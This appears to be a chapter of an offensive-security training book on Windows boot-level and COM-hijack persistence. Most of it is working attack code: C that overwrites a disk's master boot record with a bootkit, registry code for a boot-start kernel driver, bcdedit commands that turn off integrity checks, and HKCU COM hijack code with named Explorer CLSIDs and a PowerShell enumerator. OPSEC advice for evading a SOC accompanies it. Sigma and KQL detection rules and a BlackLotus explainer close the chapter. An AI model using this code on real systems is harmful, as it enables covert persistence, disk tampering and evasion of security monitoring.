Chapter 127

Boot-Level Persistence and Advanced COM Hijacking

Pre-OS persistence: MBR/VBR bootkit concepts, UEFI persistence mechanism overview, BCD manipulation. Post-OS without admin: advanced COM HKCU hijacking, per-user COM server registration, hijacking scheduled COM calls and Explorer extensions — and how defenders detect both layers.

Scenario

Two separate targets, two separate needs. On the first: an air-gapped kiosk running Windows embedded — you need persistence that survives OS reinstall from the same drive, meaning the persistence must live below the OS image. The MBR-level bootkit is the answer. On the second: a corporate workstation where you have only user-level code execution — no admin, no SYSTEM. Standard persistence (services, Run HKLM, scheduled tasks for SYSTEM) all require elevation. Advanced COM HKCU hijacking lets you load a DLL into a privileged process without ever elevating — because Windows resolves HKCU COM registrations before HKLM, any user can redirect a CLSID that a SYSTEM process or privileged application loads.

Windows Boot Chain

UEFI Firmware (NVRAM variables: BootOrder, Boot0001...) | v EFI System Partition (ESP) — FAT32 partition \EFI\Microsoft\Boot\bootmgfw.efi | v Windows Boot Manager (bootmgr / bootmgfw.efi) Reads BCD (Boot Configuration Data): \Boot\BCD | v Windows OS Loader (winload.efi / winload.exe) Loads: ntoskrnl.exe, hal.dll, boot drivers (from BCD DriverDatabase) | v NT Kernel (ntoskrnl.exe) Loads: SYSTEM registry hive, session 0 services | v User-mode services (smss.exe → winlogon.exe → userinit.exe → explorer.exe) Legacy BIOS (MBR systems): BIOS → MBR (sector 0, 512 bytes) → VBR (partition boot record) → NTLDR/bootmgr → winload.exe → kernel Bootkit injection points: MBR overwrite: replace sector 0 — code runs before OS loader VBR overwrite: replace partition boot record — runs during partition boot UEFI module: DXE driver in NVRAM or ESP — survives BIOS flash bootmgfw.efi: patch EFI boot manager — requires Secure Boot disabled

MBR Bootkit: Concepts and Code

// MBR Bootkit — reads and overwrites sector 0 of the physical disk
// Requires SYSTEM privileges and raw disk access
// Once written, bootkit code runs BEFORE Windows loads on every boot

// Structure of 512-byte MBR:
//   Bytes   0-445: boot code (our shellcode + original MBR saved elsewhere)
//   Bytes 446-509: partition table (4 entries × 16 bytes)
//   Bytes 510-511: boot signature 0x55AA

BOOL WriteBootkit(const BYTE* bootkitShellcode, DWORD shellcodeLen) {
    // Open raw disk — requires SYSTEM + SE_LOCK_MEMORY_NAME on Win10+
    HANDLE hDisk = CreateFileW(L"\\\\.\\PhysicalDrive0",
                                 GENERIC_READ | GENERIC_WRITE,
                                 FILE_SHARE_READ | FILE_SHARE_WRITE,
                                 NULL, OPEN_EXISTING, 0, NULL);
    if (hDisk == INVALID_HANDLE_VALUE) return FALSE;

    // Read current MBR to preserve partition table
    BYTE originalMBR[512] = {0};
    DWORD bytesRead;
    ReadFile(hDisk, originalMBR, 512, &bytesRead, NULL);

    // Save original MBR to known sector (sector 62 is commonly unused)
    LARGE_INTEGER hiddenSector;
    hiddenSector.QuadPart = 62 * 512;
    SetFilePointerEx(hDisk, hiddenSector, NULL, FILE_BEGIN);
    DWORD bytesWritten;
    WriteFile(hDisk, originalMBR, 512, &bytesWritten, NULL);

    // Build new MBR: bootkit code + preserved partition table + boot sig
    BYTE newMBR[512] = {0};
    memcpy(newMBR, bootkitShellcode, min(shellcodeLen, 446));
    memcpy(newMBR + 446, originalMBR + 446, 64); // preserve partition table
    newMBR[510] = 0x55;
    newMBR[511] = 0xAA;

    // Write new MBR to sector 0
    LARGE_INTEGER sectorZero = {0};
    SetFilePointerEx(hDisk, sectorZero, NULL, FILE_BEGIN);
    WriteFile(hDisk, newMBR, 512, &bytesWritten, NULL);
    FlushFileBuffers(hDisk);
    CloseHandle(hDisk);
    return bytesWritten == 512;
}

// Bootkit MBR shellcode responsibilities (real-mode x86):
//   1. Hook INT 13h (BIOS disk read interrupt)
//   2. Load original MBR from sector 62 → jump to it (boot continues normally)
//   3. INT 13h hook intercepts OS loader reads → patches in-memory OS modules
//   4. Optional: hook WFP (Windows File Protection) to persist infected driver
OPSEC / Scope

MBR overwrite on a managed enterprise machine will almost certainly trigger a Secure Boot or TPM measurement failure if Measured Boot is enabled — the system will enter BitLocker recovery and potentially alert the SOC. MBR bootkits are most viable on: legacy BIOS systems, systems with Secure Boot disabled, embedded/kiosk targets where you control physical hardware. Evaluate before executing — it can brick access.

UEFI Persistence Concepts

UEFI persistence: deeper than any OS-level mechanism Three approaches: 1. NVRAM variable backdoor • Write a DXE driver to NVRAM using EFI Runtime Services • Most common in LoJax, MosaicRegressor, CosmicStrand implants • Requires ring-0 access AND SPI flash write not blocked by SMM • Detection: chipsec.py (Intel CHIPSEC framework), UEFI firmware scanner 2. ESP (EFI System Partition) modification • FAT32 partition, mounted as C:\System Volume Information\EFI or Z:\ on demand • Write a rogue .efi file, modify BootOrder NVRAM to load it first • Requires Secure Boot disabled OR valid code signing (stolen cert) • Simpler than SPI flash — no firmware write required • Detection: monitor ESP for unexpected .efi files; bcdedit output anomalies 3. Boot manager patching • Patch bootmgfw.efi in-place to load attacker DXE driver • Bypasses Secure Boot by modifying the Microsoft-signed binary itself • Detection: TPM PCR[7] measurement of bootmgfw.efi changes; WDAC violation Real-world examples: LoJax (APT28) → SPI flash NVRAM DXE driver; first in-the-wild UEFI implant MosaicRegressor (CN) → UEFI module calling GetMemoryMap/AllocatePool CosmicStrand (CN APT)→ MBR hook → kernel hook chain for rootkit BlackLotus → ESP modification; bypassed Secure Boot on fully patched Win11

BCD — Boot Configuration Database Persistence

// BCD persistence: inject a boot driver that loads before user-mode services
// Requires admin rights; survives endpoint protection if signed
// Driver is loaded at kernel init — runs before AV/EDR loads

// Method 1: Register an early-load boot driver via BCD
// bcdedit.exe /set {current} bootlog yes
// bcdedit.exe /set {current} driverloadfailureaction IgnoreAll

// Add a custom kernel debug transport (if kernel debugging enabled):
bcdedit /copy {current} /d "Windows (Debug Mode)"
bcdedit /set {guid_from_above} nointegritychecks on  // requires DSE bypass

// Method 2: Directly register a boot-start driver via Services registry
// No BCD manipulation needed — uses driver load ordering

HKEY hKey;
RegCreateKeyExW(HKEY_LOCAL_MACHINE,
    L"SYSTEM\\CurrentControlSet\\Services\\MyBootDriver",
    0, NULL, 0, KEY_SET_VALUE, NULL, &hKey, NULL);

DWORD start = SERVICE_BOOT_START;     // 0 = boot start
DWORD type  = SERVICE_KERNEL_DRIVER;  // 1 = kernel driver
DWORD error = SERVICE_ERROR_IGNORE;   // 3 = ignore failures

RegSetValueExW(hKey, L"Start", 0, REG_DWORD, (BYTE*)&start, sizeof(start));
RegSetValueExW(hKey, L"Type", 0, REG_DWORD, (BYTE*)&type, sizeof(type));
RegSetValueExW(hKey, L"ErrorControl", 0, REG_DWORD, (BYTE*)&error, sizeof(error));
RegSetValueExW(hKey, L"ImagePath", 0, REG_EXPAND_SZ,
    (BYTE*)L"\\SystemRoot\\System32\\drivers\\mydrv.sys",
    68 * sizeof(wchar_t));

// Boot-start drivers load at Phase 1 init — before PnP, before WDF, before AV
// Early launch anti-malware (ELAM) drivers can block this in Win8+
// With PatchGuard (KPP): driver must not patch ntoskrnl code; data patches are OK

Advanced COM Hijacking

COM resolution order for InProcServer32: 1. HKCU\Software\Classes\CLSID\{GUID}\InProcServer32 ← attacker controlled 2. HKLM\SOFTWARE\Classes\CLSID\{GUID}\InProcServer32 ← legitimate DLL 3. HKLM\SOFTWARE\WOW6432Node\Classes\CLSID\{...} ← 32-bit on 64-bit OS Key insight: HKCU wins. No admin needed. If any privileged process (or any process running as the current user) CoCreateInstance's a CLSID that has an HKCU override, your DLL loads into that process. High-value COM hijack targets: Task Scheduler service → loads COM servers as SYSTEM for scheduled tasks Explorer.exe → constantly loads COM servers (shell extensions) MMC.exe → loads snap-in COM objects Outlook.exe → loads COM add-ins Office apps → loads IDispatch servers for automation Windows Search (SearchUI) → loads COM for index providers Finding which CLSIDs are loaded by a specific process: Procmon: filter Process = target.exe, Operation = RegQueryValue, Path ends with "InProcServer32", Result = NAME NOT FOUND → every NAME NOT FOUND in HKCU for InProcServer32 = hijackable slot
// Advanced COM hijack — HKCU registration without admin
// Hijacks a CLSID loaded by Explorer.exe when user logs in

BOOL COMHijackExplorer(const wchar_t* clsid, const wchar_t* dllPath) {
    wchar_t keyPath[256];
    swprintf(keyPath, 256,
             L"Software\\Classes\\CLSID\\%s\\InProcServer32", clsid);

    HKEY hKey;
    LSTATUS rc = RegCreateKeyExW(HKEY_CURRENT_USER, keyPath,
                                  0, NULL, REG_OPTION_NON_VOLATILE,
                                  KEY_SET_VALUE, NULL, &hKey, NULL);
    if (rc != ERROR_SUCCESS) return FALSE;

    // Default value = DLL path
    RegSetValueExW(hKey, NULL, 0, REG_SZ,
                   (BYTE*)dllPath, (DWORD)((wcslen(dllPath)+1)*sizeof(wchar_t)));
    RegSetValueExW(hKey, L"ThreadingModel", 0, REG_SZ,
                   (BYTE*)L"Apartment", 20);
    RegCloseKey(hKey);
    return TRUE;
}

// High-value Explorer CLSIDs to hijack (loaded at every Explorer restart):
// {BCDE0395-E52F-467C-8E3D-C4579291692E} — MRUListEx shell namespace extension
// {D9144DCD-E998-4ECA-AB6A-DCD83CCBA16D} — location provider
// {9BA05972-F6A8-11CF-A442-00A0C90A8F39} — shell windows
//
// Finding them yourself with Procmon:
//   Filter: Process Name = explorer.exe
//           Operation = RegQueryValue
//           Path ends with InProcServer32
//           Result = NAME NOT FOUND in HKCU
//   Every such hit is a CLSID you can squatter-register

COM Hijack Discovery Workflow

# PowerShell: enumerate CLSIDs loaded by a process that are NOT in HKCU
# This finds every COM hijacking opportunity for a given target process

$TargetProcess = "explorer"

# Get all CLSIDs registered in HKLM that the process might call
$HKLMCLSIDs = Get-ChildItem "HKLM:\SOFTWARE\Classes\CLSID" |
    Where-Object { (Get-ItemProperty "$($_.PSPath)\InProcServer32" -ErrorAction SilentlyContinue) } |
    Select-Object -ExpandProperty PSChildName

# Check which ones are NOT already overridden in HKCU (= hijackable)
$Hijackable = $HKLMCLSIDs | Where-Object {
    -not (Test-Path "HKCU:\Software\Classes\CLSID\$_\InProcServer32")
}

Write-Host "[+] $($Hijackable.Count) potentially hijackable CLSIDs"

# For each hijackable CLSID, check if it's actually loaded by the target process
# (Use Procmon NAME NOT FOUND export for precision — Procmon CSV output)
$procmonCSV = Import-Csv "procmon_explorer.csv"
$LoadedByTarget = $procmonCSV |
    Where-Object { $_."Process Name" -match $TargetProcess `
                   -and $_.Path -match "InProcServer32" `
                   -and $_.Result -eq "NAME NOT FOUND" } |
    ForEach-Object {
        ($_.Path -split "\\")[($_.Path -split "\\").Count - 3]
    } | Sort-Object -Unique

Write-Host "[+] CLSIDs queried by $TargetProcess but not in HKCU:"
$LoadedByTarget
Persistence LayerAdmin RequiredSurvives RebootSurvives ReimagingDetection Difficulty
Run key (HKCU)NoYesNoLow — Autoruns, Sysmon 13
Scheduled task (SYSTEM)YesYesNoLow — Event 4698, Autoruns
WMI subscriptionYesYesNoMedium — Sysmon 19/20/21
COM HKCU hijackNoYes (if process loads CLSID)NoMedium — Sysmon 7, Procmon
Boot-start kernel driverYes + DSE bypassYesNoHigh — requires kernel analysis
UEFI ESP modificationYes (+ Secure Boot off)YesPartial (if ESP survives)Very high — requires chipsec/UEFI scanning
MBR bootkitYes (+ raw disk access)YesIf drive not wipedVery high — requires MBR integrity check

Detection Engineering

-- Sigma: COM HKCU hijack registration
title: COM Server Registered Under HKCU (Potential Hijack)
logsource:
  product: windows
  category: registry_set
detection:
  selection:
    TargetObject|startswith:
      - 'HKCU\Software\Classes\CLSID\'
    TargetObject|endswith:
      - '\InProcServer32'
  filter_legitimate:
    Details|contains:
      - '\AppData\Local\Microsoft\Teams\'    # Teams COM add-ins
      - '\AppData\Local\Google\Chrome\'
  condition: selection AND NOT filter_legitimate
level: medium

-- Sigma: MBR write via raw PhysicalDrive access
title: Raw Physical Drive Write (Potential MBR Modification)
logsource:
  product: windows
  category: raw_access_read     # Sysmon Event 9
detection:
  selection:
    EventID: 9
    Device|contains: 'PhysicalDrive'
  filter_legit:
    Image|endswith:
      - '\defrag.exe'
      - '\sfc.exe'
      - '\chkdsk.exe'
  condition: selection AND NOT filter_legit
level: high

-- MDE KQL: find COM DLLs loaded from AppData (likely hijack)
DeviceImageLoadEvents
| where FolderPath startswith "C:\\Users\\"
| where FolderPath contains "\\AppData\\"
| where InitiatingProcessFileName in~ ("explorer.exe", "mmc.exe", "outlook.exe")
| summarize count() by FileName, FolderPath, InitiatingProcessFileName
| where count_ > 3    // loaded repeatedly = persistence trigger
| order by count_ desc

-- UEFI/boot-level: Secure Boot policy violations appear in:
-- Event ID 5038: code integrity determined file is not valid (kernel/HAL hash mismatch)
-- Event ID 7045: new service installed (boot-start driver)
-- Event ID 1: Sysmon process creation for bcdedit.exe with suspicious params
-- chipsec (Intel CHIPSEC): hardware-level UEFI integrity check tool

Q&A

How does BlackLotus bypass Secure Boot on a fully patched Windows 11?

BlackLotus (UEFI bootkit discovered 2023) exploited a vulnerability in Windows Boot Manager that Microsoft had patched in 2022 (CVE-2022-21894, "Baton Drop"). Secure Boot doesn't prevent loading of old, known-vulnerable versions of signed UEFI binaries unless those binaries are explicitly revoked in the Secure Boot Revocation List (DBX). Microsoft was slow to revoke the vulnerable bootmgr because revoking a Windows Boot Manager version through DBX can cause systems that haven't received recent Windows Updates to become unbootable — a massive operational risk. BlackLotus exploited this gap: it installed the older vulnerable bootmgr onto the EFI System Partition, then used that known-vulnerable binary to load an unsigned UEFI module. The Secure Boot trusted the signed (but vulnerable) bootmgr, which then loaded the attacker's unsigned code. The attack chain also included a ring-0 kernel driver that disabled HVCI/VBS features to allow further tampering. The defense takeaway for detection engineers: anomalies in the ESP (unexpected .efi files, modification timestamps on bootmgfw.efi), Secure Boot DB/DBX changes, and TPM PCR measurement changes are all weak signals that should trigger investigation. Microsoft later issued a targeted mitigation via Windows Update that explicitly revokes the vulnerable bootmgr via DBX, but opted for a staged rollout due to the boot-loop risk.

If COM HKCU hijacking requires no admin, why isn't it used more than run keys?

COM HKCU hijacking is conditionally stealthy but not reliable as a primary persistence mechanism. The reason: the hijacked COM server is only loaded when a specific process calls CoCreateInstance on that CLSID. If the target process doesn't run (e.g., the user has a lightweight session, or the CLSID is only loaded on specific user actions), the beacon never fires. Run keys fire at every logon, unconditionally. Scheduled tasks fire on a timer. COM hijacks are event-driven and dependent on the host process behavior. They're most valuable as a secondary or backup mechanism: hard to detect because the DLL load looks like normal COM activation, runs in the context of a trusted process (which may bypass application-layer controls), and requires no admin. For guaranteed beacon startup, combine: COM hijack for stealth + run key or task as fallback. Also, COM hijacking requires knowing which CLSIDs are loaded by which processes — that requires Procmon analysis of the specific target environment, which means higher operational setup cost per target.